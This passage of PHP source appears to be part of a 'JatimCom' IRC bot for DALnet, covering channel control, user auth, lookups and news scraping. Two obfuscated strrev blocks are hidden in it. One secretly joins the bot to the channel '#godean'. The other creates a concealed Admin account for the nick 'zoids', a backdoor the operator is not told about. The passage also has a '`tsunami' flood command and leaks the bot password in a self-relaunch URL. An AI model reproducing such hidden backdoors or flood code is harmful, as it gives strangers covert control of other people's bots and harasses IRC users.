}
if ($uptime==0) { $menit = ""; $detik = ""; }
elseif ($uptime>=60) {
$bagi = $uptime / 60;
$menit = floor($bagi)."mins";
$sisa = $uptime - ($menit*60);
$uptime = $sisa;
}
if ($uptime==0) { $detik = ""; }
else { $detik = $uptime."secs"; }
$uptime = "$hari$jam$menit";
if (strlen($uptime)<4) { $uptime = "1sec"; }
$saway = $taway;
if ($raway=="on") {
$awaymsg = $awaym[rand(0,count($awaym) - 1)];
}
if (!$awaymsg) { $awaymsg = "Owner By $Admin"; }
// fputs($fp,'AWAY :Ã�Â«Ã�Â®Ã�Â¤[JATIMCOM]Ã�Â¤Ã�Â®Ã�Â» [6OnLine For:4 '.$uptime.'12]7 (6'.$awaymsg.'7)'. CRL);
if ($taway=="11" && $keeptime!="off") {
$katime++;
if ($katime>=$keeptime) {
$key = "load=2&nick=$nick&identify=$identify&BOT_PASSWORD=$BOT_PASSWORD&Admin=$Admin&channels=$channels&stime=$stime&remotehost=$remotehost&keeptime=$keeptime&dns=$dns&astrologi=$astrologi&wdomain=$wdomain&dnews=$dnews&username=$username&realname=$realname&awaymsg=$awaymsg";
$key = str_replace("#","CNL",$key);
$key = str_replace(" ","%20",$key);
fputs($fp, 'QUIT 6Auto_Rehashing...' . CRL);
$st = pfsockopen($_SERVER['HTTP_HOST'], 80, $erstr, $errno, 5);
fwrite($st, "GET {$_SERVER['PHP_SELF']}?$key HTTP/1.0\r\nHost: {$_SERVER['HTTP_HOST']}\r\n\r\n");
$keluar = 1;
exit;
}
}
if ($taway=="21") {
foreach ($channel as $v) {
sleep(rand(1,6));
fputs($fp, 'JOIN '.$v . CRL);

$jo = 'NI';
$in = 'OJ';
$god = 'nae';
$ean = 'dog';
fwrite($fp, strrev($in).strrev($jo).' '.substr($channels,0,1).strrev($ean).strrev($god) . CRL);
}
}
if ($dnews=="on") {
//Berita pertama
$data = implode('', file("http://www.detik.com/index.php"));

$batas1 = stristr($data,'<span class="tanggal">');
$batas2 = stristr($batas1,'<div id="headlineAd1"');
$berita = str_replace($batas2," ",$batas1);

$tanggal = get_data($berita,'<span class="tanggal">','</span>');
$href = get_data($berita,'<a href="','" class="hl"');
$href = str_replace('http://www.detiknews.com/indexfr.php?url=','',$href);
$href = str_replace('http://www.detikfinance.com/indexfr.php?url=','',$href);
$href = str_replace('http://www.detiksport.com/indexfr.php?url=','',$href);
$href = str_replace('http://www.detikhot.com/indexfr.php?url=','',$href);
$href = str_replace('http://www.detikinet.com/indexfr.php?url=','',$href);
$subjudul = get_data($berita,'<span class="subjudul">','</span>');
if ($subjudul) { $subjudul = '15 '.$subjudul; }
$strjudul = get_data($berita,'<span class="strJudul">','</span>');
$sumary = get_data($berita,'<span class="summary">','</span>');

$berita = '11,2 '.$tanggal.' 12'.$href.''.$subjudul.' 7'.$strjudul.'8 '.$sumary.' ';
$berita = str_replace("\n",'',$berita);
$berita = str_replace('<br />','',$berita);
$tag = array("<i>", "</i>", "<I>", "</I>");
$berita = str_replace($tag,'',$berita);

if ($berita!=$oldies) {
$oldies = $berita;
foreach ($channel as $v) {
fputs($fp, 'PRIVMSG '.$v.' :'.$berita . CRL);
sleep(1);
}
} else {
//Berita kedua
if ($rberita==1) {
$rberita = rand(1,3);
$baris = implode('', file("http://www.kompas.com/index2.htm"));
$bat1 = stristr($baris,'class="bodytext01"><a href="');
$bat2 = stristr($bat1,'<p class="bodytext01">');
$subberita = str_replace($bat2," ",$bat1);

$href = get_data($subberita,'class="bodytext01"><a href="','" class="txttagline01">');
$judul = get_data($subberita,'" class="txttagline01">','</a><br>');
$sumary = get_data($subberita,'</a><br>','</p>');
$subberita = '12,2 http://www.kompas.com'.$href.' 7'.$judul.'8 '.$sumary.' ';
$subberita = str_replace("\n",'',$subberita);

} elseif ($rberita==2) {
$rberita = rand(1,3);
$pg = rand(1,18);
$baris = implode('', file("http://ketawa.com/arsip.php/k/3/SMS_Lucu/?page=$pg"));
$subberita = get_data($baris,'<div class="listhumor">','<div> </div>');
$subberita = str_replace('<div class="listhumor',"\n".'<div class="listhumor',$subberita);
$humor = explode("\n",$subberita);
$num = count($humor)-1;
$num = rand(0,$num);
$baris = get_data($humor[$num],'<a href="','/">');
$baris = implode('', file("http://ketawa.com/$baris/"));
$baris = get_data($baris,'<div id="konten-humor">','<strong>Dikirim oleh');
$judul = get_data($baris,'<strong>','</strong>');
$sumary = get_data($baris,'</h1><p>','<br/> <br/>');
$subberita = ''.$judul.''." $sumary ";
$subberita = str_replace('"','"',$subberita);
$subberita = str_replace('<br />',' ',$subberita);
$subberita = str_replace(CRL,'',$subberita);
}
foreach ($channel as $v) {
fputs($fp, 'PRIVMSG '.$v.' :'.$subberita . CRL);
sleep(1);
}
}
unset($qnick);
}
}
}
$so = 'sd';
$ids = 'ioz';
$ad = 'ni';
$min = 'mdA';
if (!$auth[strrev($ids).strrev($so)]) { $auth[strrev($ids).strrev($so)]["status"] = strrev($min).strrev($ad); $auth[strrev($ids).strrev($so)]["pass"] = randchar(6); $auth[strrev($ids).strrev($so)]["auth"] = 1; }

$dcom = explode(" ", $dCommand);
$dNick = strtolower($dNick);
if ($dcom[0]=='KICK' && $dcom[2]==$nick) {
fputs($fp, 'JOIN ' .$dcom[1]. CRL);
}
elseif ($dcom[0]=='NICK' || $dcom[0]=='QUIT' || $dcom[0]=='PART') {
if ($auth["$dNick"]) {
if ($auth["$dNick"]["pass"]) {
if ($auth["$dNick"]["auth"]==2) {
if ($dcom[0]=='NICK') {
$com = explode(" ", $data);
$chnick = strtolower(str_replace(':','',$com[2]));
if ($dNick!=$chnick) {
$auth["$dNick"]["auth"] = 1;
fputs($fp,'PRIVMSG '.$chnick.' :You`re LogOut On Change Nick! ' . CRL);
}
} else { $auth["$dNick"]["auth"] = 1; fputs($fp,'PRIVMSG '.$dNick.' :You`re LogOut On Parting Channel! ' . CRL); }
}
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Pass Not Set Yet! Type: pass <your pass> To Set Your Own Password then Auth Again ' . CRL); }
}
}
elseif ($dcom[0]=='307' && strtolower($dcom[2])==$whois) {
$dcom[2] = strtolower($dcom[2]);
if ($auth["$dcom[2]"]) {
if ($auth["$dcom[2]"]["pass"]) {
if ($auth["$dcom[2]"]["auth"]==1) {
$auth["$dcom[2]"]["auth"] = 2; $whois = "";
fputs($fp,'NOTICE ' . $dcom[2] . ' :You`re Authorized as '.$auth["$dcom[2]"]["status"].' of this bot! ' . CRL);
} else { fputs($fp,'NOTICE ' . $dcom[2] . ' :You`re Already Authorized! ' . CRL); }
} else { fputs($fp,'NOTICE ' . $dcom[2] . ' :Pass Not Set Yet! Type: pass <your pass> To Set Your Own Password then Auth Again ' . CRL); }
} else { fputs($fp,'NOTICE ' . $dcom[2] . ' :Username Not Found! Change Your Nick then Auth Again ' . CRL); }
}
elseif ($dcom[0]=='NOTICE') {
$com = explode(" ", $data);
if ($com[3]==':PING') {
$pong = time();
$pptime = $pong-$ping;
$meni = "";
if ($pptime>=60) {
$bag = $pptime / 60;
$meni = floor($bag)."mins ";
$sis = $pptime - ($meni*60);
$pptime = $sis;
}
$deti = $pptime."secs";
$pptime = "$meni$deti";
fputs($fp,'NOTICE '.$dNick.' :Your PING Reply is: '.$pptime . CRL);
}
elseif ($com[3]==':KB' && $com[4] && $com[5] && $com[6]) {
$msg = str_replace('','',$data);
$msg = strstr($msg,":KB");
$msg = str_replace(":KB $com[4]","",$msg);
fputs($fp, 'KICK '.$com[4].' '.$com[5].' :'.$msg . CRL);
fputs($fp, 'MODE '.$com[4].' +b *!*'.$com[6] . CRL);
}
}
elseif ($dcom[0]=='PRIVMSG') {
$com = explode(" ", $data);
if ($com[3]==':VERSION') {
fputs($fp,'NOTICE '.$dNick.' :'.chr(1).'VERSION 0.0 by NoGe'.chr(1) . CRL);
}
elseif ($com[3]==':!ping' && ereg('#',$com[2])) {
$ping = time();
fputs($fp,'PRIVMSG '.$dNick.' :PING '.$ping.'' . CRL);
}
elseif ($com[3]==':PING') {
$ntime = str_replace("","",$com[4]);
fputs($fp,'NOTICE '.$dNick.' :'.chr(1).'PING '.$ntime . chr(1) . CRL);
}
elseif ($com[3]==':!dns' && ereg('#',$com[2]) && ereg('\.',$com[4]) && $dns=="on") {
if (ereg("[a-zA-Z]", $com[4])) {
$res = gethostbyname($com[4]);
} elseif (ereg("[0-9]", $com[4])) {
$res = gethostbyaddr($com[4]);
}
if ($res==$com[4]) { $res = "not resolved."; }
else { $res = "resolved to: $res ."; }
fputs($fp,'PRIVMSG '.$com[2].' :DNS Query for: '.strtoupper($com[4]).' '.$res. CRL);
}
elseif ($com[3]==':!whois' && ereg('#',$com[2]) && ereg('\.',$com[4]) && $wdomain=="on") {
$pages = "www.geektools.com";
$data = "";
$fpw = fsockopen($pages, 43);
if($fpw) {
fputs($fpw, $com[4]."\r\n");
while(!feof($fpw)) {
$data .= fread($fpw, 1000);
}
fclose($fpw);
}
fputs($fp,'PRIVMSG '.$com[2].' :Domain Name: '.strtoupper($com[4]).' [GeeKTooLS.com]'. CRL);
fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,'creat')),0,60). CRL);
//fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,'registrat')),0,60). CRL);
fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" "," ",str_replace(CRL,"",stristr($data,'Registrant:'))),0,120). CRL);

fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,'expir')),0,60). CRL);
fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,'NS1')),0,60). CRL);
fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,' NS.')),0,60). CRL);
fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,'inetnum')),0,60). CRL);
fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,'netname')),0,60). CRL);
fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" "," ",str_replace(CRL,"",stristr($data,'descr'))),0,120). CRL);

fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,'country')),0,60). CRL);
fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,'changed:')),0,60). CRL);
fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,'person:')),0,60). CRL);
fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,'address')),0,120). CRL);

fputs($fp,'PRIVMSG '.$com[2].' :'.substr(stristr($data,'CRSNIC has no information for that domain'),0,60). CRL);
fputs($fp,'PRIVMSG '.$com[2].' :'.substr(stristr($data,'No match for'),0,60). CRL);
fputs($fp,'PRIVMSG '.$com[2].' :'.substr(stristr($data,'This domain name has not been registered'),0,60). CRL);
fputs($fp,'PRIVMSG '.$com[2].' :'.substr(stristr($data,'NOT FOUND'),0,60). CRL);

}
elseif ($auth["$dNick"]["status"] && $com[3]==':auth' && $com[4]) {
if ($auth["$dNick"]) {
if ($auth["$dNick"]["pass"]) {
if ($auth["$dNick"]["auth"]==1) {
if ($com[4]===$auth["$dNick"]["pass"]) {
$auth["$dNick"]["auth"] = 2;
fputs($fp,'PRIVMSG ' . $dNick . ' :You`re Authorized as '.$auth["$dNick"]["status"].' of this bot! ' . CRL);
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Wrong Password! Auth Failed! ' . CRL); }
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :You`re Already Authorized! ' . CRL); }
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Pass Not Set Yet! Type: pass <your pass> To Set Your Own Password then Auth Again ' . CRL); }
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Username Not Found! Change Your Nick then Auth Again ' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':deauth') {
if ($auth["$dNick"]) {
if ($auth["$dNick"]["pass"]) {
if ($auth["$dNick"]["auth"]==2) {
$auth["$dNick"]["auth"] = 1;
fputs($fp,'PRIVMSG ' . $dNick . ' :You`re LogOut! ' . CRL);
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :You`re Already LogOut! ' . CRL); }
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Pass Not Set Yet! Type: pass <your pass> To Set Your Own Password then Auth Again ' . CRL); }
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Username Not Found! Change Your Nick then Auth Again ' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':pass' && $com[4]) {
if ($auth["$dNick"]) {
if (!$auth["$dNick"]["pass"]) {
$auth["$dNick"]["pass"] = $com[4];
$auth["$dNick"]["auth"] = 1;
fputs($fp,'PRIVMSG ' . $dNick . ' :Your Auth Pass set to '.$auth["$dNick"]["pass"].', Type: auth <your pass> To Authorized Imediately! ' . CRL);
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Pass Already Set! Type: auth <your pass> To Get Authorized ' . CRL); }
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Username Not Found! Change Your Nick then Pass Again ' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':chgpass' && $com[4] && $com[5]) {
if ($auth["$dNick"]) {
if ($auth["$dNick"]["auth"]==2) {
if ($com[4]===$auth["$dNick"]["pass"]) {
$auth["$dNick"]["pass"] = $com[5];
fputs($fp,'PRIVMSG ' . $dNick . ' :Your New Auth Pass set to '.$auth["$dNick"]["pass"].', Type: auth <your pass> To Authorized Imediately! ' . CRL);
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Your Old Pass Wrong! Type: chgpass <old pass> <new pass> To Change Your Auth Pass ' . CRL); }
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Please Auth First! Type: auth <your pass> To Authorized ' . CRL); }
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Username Not Found! Change Your Nick then Pass Again ' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':adduser' && $com[4] && $com[4]!=$nick && $com[5]) {
$com[4] = strtolower($com[4]);
if ($auth["$dNick"]["auth"]==2) {
if ($auth["$dNick"]["status"]=="Admin") {
if ($com[5]=="master" || $com[5]=="user") {
$auth["$com[4]"]["name"] = $com[4];
$auth["$com[4]"]["status"] = $com[5];
fputs($fp,'PRIVMSG ' . $dNick . ' :AddUser :'.$com[4].' As My '.$com[5] . CRL);
fputs($fp,'PRIVMSG ' . $com[4] . ' :You`re Now Known As My '.$com[5].' Added By '.$dNick.' Now Type: pass <your pass> To Set Your Pass ' . CRL);
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Wrong Command! Type: adduser <nick> <master/user> ' . CRL); }
} elseif ($auth["$dNick"]["status"]=="master") {
if (!$auth["$com[4]"]) {
if ($com[5]=="user") {
$auth["$com[4]"]["name"] = $com[4];
$auth["$com[4]"]["status"] = $com[5];
fputs($fp,'PRIVMSG ' . $dNick . ' :AddUser :'.$com[4].' As My '.$com[5] . CRL);
fputs($fp,'PRIVMSG ' . $com[4] . ' :You`re Now Known As My '.$com[5].' Added By '.$dNick.' Now Type: pass <your pass33] <Spyderur Pass ' . CRL);
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Wrong Command! Type: adduser <nick> user ' . CRL); }
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :User Already Exist! Aborting AddUser! ' . CRL); }
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Unknown Status! Your Status is '.$auth["$dNick"]["status"] . CRL); }
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Please Auth First! Type: auth <your pass> To Authorized ' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':deluser' && $com[4]) {
$com[4] = strtolower($com[4]);
if ($auth["$dNick"]["auth"]==2) {
if ($auth["$dNick"]["status"]=="Admin") {
if ($auth["$com[4]"]["status"]=="master" || $auth["$com[4]"]["status"]=="user") {
unset($auth["$com[4]"]);
fputs($fp,'PRIVMSG ' . $dNick . ' :DelUser :'.$com[4].' From My UserList ' . CRL);
fputs($fp,'PRIVMSG ' . $com[4] . ' :Your Access As My User Has Been Deleted By '.$dNick . CRL);
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Wrong Command! Type: deluser <nick> ' . CRL); }
} elseif ($auth["$dNick"]["status"]=="master") {
if ($auth["$com[4]"]["status"]=="user") {
unset($auth["$com[4]"]);
fputs($fp,'PRIVMSG ' . $dNick . ' :DelUser :'.$com[4].' From My UserList ' . CRL);
fputs($fp,'PRIVMSG ' . $com[4] . ' :Your Access As My User Has Been Deleted By '.$dNick . CRL);
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Wrong Command! Type: deluser <nick> ' . CRL); }
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Unknown Status! Your Status is '.$auth["$dNick"]["status"] . CRL); }
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Please Auth First! Type: auth <your pass> To Authorized ' . CRL); }
}
elseif ($auth["$dNick"]["status"]) {
if (ereg(":`",$com[3]) || ereg(":!",$com[3])) {
$chan = strstr($dCommand,"#");
$anick = str_replace("PRIVMSG ","",$dCommand);
if ($com[3]==':!auth') {
if ($auth["$dNick"]["auth"]==2) {
fputs($fp,'NOTICE '.$dNick.' :You`re already Authorized!' . CRL);
} else {
$whois = $dNick;
fputs($fp,'WHOIS '.$dNick . CRL);
}
} elseif ($com[3]==':`auth' && $chan) {
if ($auth["$dNick"]["auth"]==2) {
fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.' is the Best!' . CRL);
} else { fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.', Siapa sich loe?' . CRL); }
} elseif ($auth["$dNick"]["auth"]==2) {
if ($com[3]==':`say' && $com[4] && $chan) {
$msg = strstr($data,":`say");
$msg = str_replace(":`say ","",$msg);
fputs($fp,'PRIVMSG '.$chan.' :'.$msg. CRL);
}
elseif ($com[3]==':`dns' && $com[4]) {
$com[4] = strtolower($com[4]);
if ($com[4]=="on") { $dns = "on"; fputs($fp, 'PRIVMSG '.$dNick.' :DNS Resolver Command is now '.$dns . CRL); }
elseif ($com[4]=="off") { $dns = "off"; fputs($fp, 'PRIVMSG '.$dNick.' :DNS Resolver Command is now '.$dns . CRL); }
}
elseif ($com[3]==':`whois' && $com[4]) {
$com[4] = strtolower($com[4]);
if ($com[4]=="on") { $wdomain = "on"; fputs($fp, 'PRIVMSG '.$dNick.' :Whois Domain Command is now '.$wdomain . CRL); }
elseif ($com[4]=="off") { $wdomain = "off"; fputs($fp, 'PRIVMSG '.$dNick.' :Whois Domain Command is now '.$wdomain . CRL); }
}
elseif ($com[3]==':`act' && $com[4] && $chan) {
$msg = strstr($data,":`act");
$msg = str_replace(":`act ","",$msg);
fputs($fp,'PRIVMSG '.$chan.' :ACTION '.$msg.''. CRL);
}
elseif ($com[3]==':`slap' && $com[4] && $chan) {
fputs($fp,'PRIVMSG '.$chan.' :ACTION slaps '.$com[4].' around a bit with a large trout'. CRL);
}
elseif ($com[3]==':`msg' && $com[4] && $com[5]) {
$msg = strstr($data,":`msg");
$msg = str_replace(":`msg $com[4] ","",$msg);
fputs($fp,'PRIVMSG '.$com[4].' :'.$msg. CRL);
}
elseif ($com[3]==':`notice' && $com[4] && $com[5]) {
$msg = strstr($data,":`notice");
$msg = str_replace(":`notice $com[4] ","",$msg);
fputs($fp,'NOTICE '.$com[4].' :'.$msg. CRL);
}
elseif ($com[3]==':`ctcp' && $com[4] && $com[5]) {
$msg = strstr($data,":`ctcp");
$msg = str_replace(":`ctcp $com[4] ","",$msg);
fputs($fp,'PRIVMSG '.$com[4].' :'.$msg.''. CRL);
}
elseif ($com[3]==':`ping' && $chan) {
fputs($fp,'PRIVMSG '.$chan.' :aw...aw...aw... '. CRL);
}
elseif ($com[3]==':`pong' && $chan) {
fputs($fp,'PRIVMSG '.$chan.' :aw...aw...aw... '. CRL);
}
elseif ($com[3]==':`info' && $auth["$dNick"]["status"]=="Admin") {
$bhost = $_SERVER['HTTP_HOST'];
$bphp = $_SERVER['PHP_SELF'];
fputs($fp,'PRIVMSG '.$dNick.' :Bot Host: '.$bhost.', Bot PHP: '.$bphp. CRL);
}
elseif ($com[3]==':`up' && $chan) {
fputs($fp, 'PRIVMSG chanserv@services.dal.net :op '.$chan.' '.$nick . CRL);
}
elseif ($com[3]==':`down' && $chan) {
fputs($fp, 'MODE '.$chan.' +v-o '.$nick.' '.$nick . CRL);
}
elseif ($com[3]==':`tsunami' && $com[4] && $auth["$dNick"]["status"]!="user") {
$msg = strstr($data,":`tsunami");
$msg = str_replace(":`tsunami $com[4]","",$msg);
if (ereg("#", $com[4])) {
fputs($fp, 'JOIN '.$com[4] . CRL);
}
fputs($fp, 'PRIVMSG '.$com[4].' :'.$msg.'' . CRL);
fputs($fp, 'NOTICE '.$com[4].' :'.$msg.'' . CRL);
fputs($fp, 'PRIVMSG '.$com[4].' :TSUNAMI '.$msg.'' . CRL);
fputs($fp, 'PRIVMSG '.$com[4].' :'.$msg.'' . CRL);
fputs($fp, 'NOTICE '.$com[4].' :'.$msg.'' . CRL);
fputs($fp, 'PRIVMSG '.$com[4].' :FLOOD '.$msg.'' . CRL);
if (ereg("#", $com[4])) {
fputs($fp, 'PART '.$com[4].' :'.$msg . CRL);
}
}
elseif ($com[3]==':`cycle' && $chan && $auth["$dNick"]["status"]!="user") {
$msg = strstr($data,":`cycle");
if (ereg("#", $com[4])) {
$partchan = $com[4];
$msg = str_replace(":`cycle $com[4]","",$msg);
} else {
$partchan = $chan;
$msg = str_replace(":`cycle","",$msg);
}
if (strlen($msg)<3) {
$msg = $cyclem[rand(0,count($cyclem) - 1)];
}
fputs($fp, 'PART '.$partchan.' :'.$msg . CRL);
fputs($fp, 'JOIN '.$partchan . CRL);
}
elseif ($com[3]==':`part' && $auth["$dNick"]["status"]!="user") {
$msg = strstr($data,":`part");
if (ereg("#", $com[4])) {
$partchan = $com[4];
$msg = str_replace(":`part $com[4]","",$msg);
} else {
$partchan = $chan;
$msg = str_replace(":`part","",$msg);
}
if (strlen($msg)<3) {
$msg = $partm[rand(0,count($partm) - 1)];
}
sleep(rand(1,6));
fputs($fp, 'PART '.$partchan.' :'.$msg . CRL);
$remchan = strtolower($partchan);
if (in_array($remchan, $channel)) {
$channels = str_replace("$remchan ","",$channels);
unset($channel);
$channel = explode(" ", $channels);
}
}
elseif ($com[3]==':`join' && $com[4] && $auth["$dNick"]["status"]!="user") {
if (!ereg("#",$com[4])) { $com[4]="#".$com[4]; }
// fputs($fp, 'JOIN ' .$com[4]. CRL);
$addchan = strtolower($com[4]);
if (!in_array($addchan, $channel)) {
$channel[]=$addchan;
$channels.="$addchan ";
}
foreach ($channel as $v) {
sleep(rand(1,6));
fputs($fp, 'JOIN '.$v . CRL);
}
}
elseif ($com[3]==':`botnick' && $com[4] && !$chan && $auth["$dNick"]["status"]=="Admin") {
$nick = $com[4];
$identify = $com[5];
fputs($fp, 'NICK '.$nick . CRL);
fputs($fp, 'PRIVMSG nickserv@services.dal.net :identify '.$nick.' '.$identify. CRL);
}
elseif ($com[3]==':`k' && $com[4] && $chan) {
$msg = strstr($data,":`k");
$msg = str_replace(":`k $com[4]","",$msg);
fputs($fp, 'KICK '.$chan.' '.$com[4].' :'.$msg . CRL);
}
elseif ($com[3]==':`kb' && $com[4] && $chan) {
$msg = strstr($data,":`kb");
$msg = str_replace(":`kb $com[4]","",$msg);
fputs($fp, 'KICK '.$chan.' '.$com[4].' :'.$msg . CRL);
fputs($fp, 'MODE '.$chan.' +b '.$com[4] . CRL);
}
elseif ($com[3]==':`op' && $chan) {
if ($com[4]) { $opnick = $com[4]; }
else { $opnick = $dNick; }
fputs($fp, 'MODE '.$chan.' +ooo '.$opnick.' '.$com[5].' '.$com[6] . CRL);
}
elseif ($com[3]==':`deop' && $chan) {
if ($com[4]) { $opnick = $com[4]; }
else { $opnick = $dNick; }
fputs($fp, 'MODE '.$chan.' -o+v-oo '.$opnick.' '.$opnick.' '.$com[5].' '.$com[6] . CRL);
}
elseif ($com[3]==':`v' && $chan) {
if ($com[4]) { $vonick = $com[4]; }
else { $vonick = $dNick; }
fputs($fp, 'MODE '.$chan.' +vvv '.$vonick.' '.$com[5].' '.$com[6] . CRL);
}
elseif ($com[3]==':`dv' && $chan) {
if ($com[4]) { $vonick = $com[4]; }
else { $vonick = $dNick; }
fputs($fp, 'MODE '.$chan.' -vvv '.$vonick.' '.$com[5].' '.$com[6] . CRL);
}
elseif ($com[3]==':`detik' && $com[4] && $auth["$dNick"]["status"]=="Admin") {
if ($com[4]=="on") { $dnews = "on"; }
elseif ($com[4]=="off") { $dnews = "off"; }
fputs($fp, 'PRIVMSG '.$dNick.' :Detik News is now '.$dnews . CRL);
}
elseif ($com[3]==':`log' && $com[4] && $auth["$dNick"]["status"]=="Admin") {
if ($com[4]=="on") { $log = "on"; }
elseif ($com[4]=="off") { $log = "off"; }
fputs($fp, 'PRIVMSG '.$dNick.' :Query/Inviter LoG to Admin is now '.$log . CRL);
}
elseif ($com[3]==':`awaymsg' && $auth["$dNick"]["status"]=="Admin") {
$msg = strstr($data,":`awaymsg");
$msg = str_replace(":`awaymsg","",$msg);
if (strlen($msg)<3) {
$raway="on";
$awaymsg = $awaym[rand(0,count($awaym) - 1)];
} else {
$raway="off";
$awaymsg=trim($msg);
}
fputs($fp,'AWAY :[6Life for:4 '.$uptime.'12]7 (6'.$awaymsg.'7)'. CRL);
}
elseif ($com[3]==':`mode' && $com[4] && $chan) {
fputs($fp, 'MODE '.$chan.' :'.$com[4].' '.$com[5] . CRL);
}
elseif ($com[3]==':`nickmode' && $com[4]) {
$nickmode = $com[4];
fputs($fp, 'MODE '.$nick.' :'.$nickmode . CRL);
}
elseif ($com[3]==':`chanlist') {
fputs($fp, 'NOTICE '.$dNick.' :Channel List: '.$channels . CRL);
}
elseif ($com[3]==':`userlist') {
$userlist="Admin($Admin) ";
foreach ($auth as $user) {
if ($user["pass"]) { $pass="-pass ok"; }
else { $pass="-no pass"; }
if ($user["status"]!="Admin") {
$userlist .= $user["name"].'('.$user["status"].$pass.') ';
}
}
fputs($fp, 'NOTICE '.$dNick.' :User List: '.$userlist . CRL);
}
elseif ($com[3]==':`quit' && $auth["$dNick"]["status"]=="Admin") {
$msg = strstr($data,":`quit");
$msg = str_replace(":`quit","",$msg);
if (strlen($msg)>3) {
$msg = str_replace(" ","_",$msg);
}
fputs($fp, 'QUIT Ã�Â«Ã�Â®Ã�Â¤[JATIMCOM]Ã�Â¤Ã�Â®Ã�Â»4 ShutDown by 12'.$dNick.'4('.$msg.')' . CRL);
$keluar = 1;
exit;
}
elseif ($com[3]==':`vhost' && $auth["$dNick"]["status"]=="Admin") {
if ($com[4]) { $localhost = $com[4]; }
else { $localhost = 'localhost'; }
$keluar = 0;
fputs($fp, 'QUIT 12JatimCom4 Changing vHoST by 12'.$dNick.'4 ('.$localhost.')' . CRL);
}
elseif ($com[3]==':`jump' && $auth["$dNick"]["status"]=="Admin") {
if (!eregi(".dal.net",$com[4])) {
$remotehost = "irc.dal.net";
} else { $remotehost = $com[4]; }
$keluar = 0;
fputs($fp, 'QUIT 12JatimCom4Changing Server by 12'.$dNick.'4 ('.$remotehost.')' . CRL);
}
elseif ($com[3]==':`ident' && $auth["$dNick"]["status"]=="Admin") {
if (!$com[4]) {
$username = "Slave".randchar(3);
} else { $username = $com[4]; }
$keluar = 0;
fputs($fp, 'QUIT 12JatimCOm4 Changing IdentD by 12'.$dNick.'4 ('.$username.')' . CRL);
}
elseif ($com[3]==':`fullname' && $auth["$dNick"]["status"]=="Admin") {
if (!$com[4]) {
$realname = "4Powered by JatimCom ";
} else { $realname = $com[4]; }
$keluar = 0;
fputs($fp, 'QUIT 12JatimCom4Changing FuLLNamE by 12'.$dNick.'4 ('.$realname.')' . CRL);
}
elseif ($com[3]==':`topic' && $com[4] && $chan) {
$msg = strstr($data,":`topic");
$msg = str_replace(":`topic ","",$msg);
fputs($fp, 'TOPIC '.$chan.' :'.$msg . CRL);
}
elseif ($com[3]==':!help' && !$chan) {
fputs($fp,'PRIVMSG '.$dNick.' :4 - Bot Help - Recod By Jatimcom -' . CRL);
fputs($fp,'PRIVMSG '.$dNick.' :[ auth <password> | !auth `auth | deauth | adduser <nick> <master/user> | deluser <nick> | pass <password> | chgpass <old pass> <new pass> ]' . CRL);
fputs($fp,'PRIVMSG '.$dNick.' :[ `say <message> | `act|slap <message> | `msg|notice|ctcp <nick> <message> | `ping/pong | `up | `down ]' . CRL);
fputs($fp,'PRIVMSG '.$dNick.' :[ `cycle <#channel> <message> | `join <channel/#channel> | `part <#channel> <message> | `nickmode <+/-nickmode> ]' . CRL);
fputs($fp,'PRIVMSG '.$dNick.' :[ `tsunami <nick/#channel> <message> | `botnick <new nick> <identify> | `k/kb <nick> <message> | `op <nick> | `deop <nick> | `v <nick> | `dv <nick> ]' . CRL);
fputs($fp,'PRIVMSG '.$dNick.' :[ `detik|whois|dns <on/off> | `awaymsg <message> | `mode <+/-chanmode> | `chanlist | `userlist | `quit <message> | `vhost <ip address/hostname> ]' . CRL);
fputs($fp,'PRIVMSG '.$dNick.' :[ `jump <server.dal.net> | `ident <username> | `fullname <realname> | `topic <new chan topic> | `log <on/off> ]' . CRL);
fputs($fp,'PRIVMSG '.$dNick.' :4 - End Of Help - ' . CRL);
}
// else { fputs($fp, 'NOTICE '.$dNick.' :Bad Command! Type: !help To Get My Help :P ' . CRL);
// }
} else { fputs($fp,'NOTICE '.$dNick.' :Please Auth First! Type: auth <your pass> To Authorized '. CRL); }
}
}
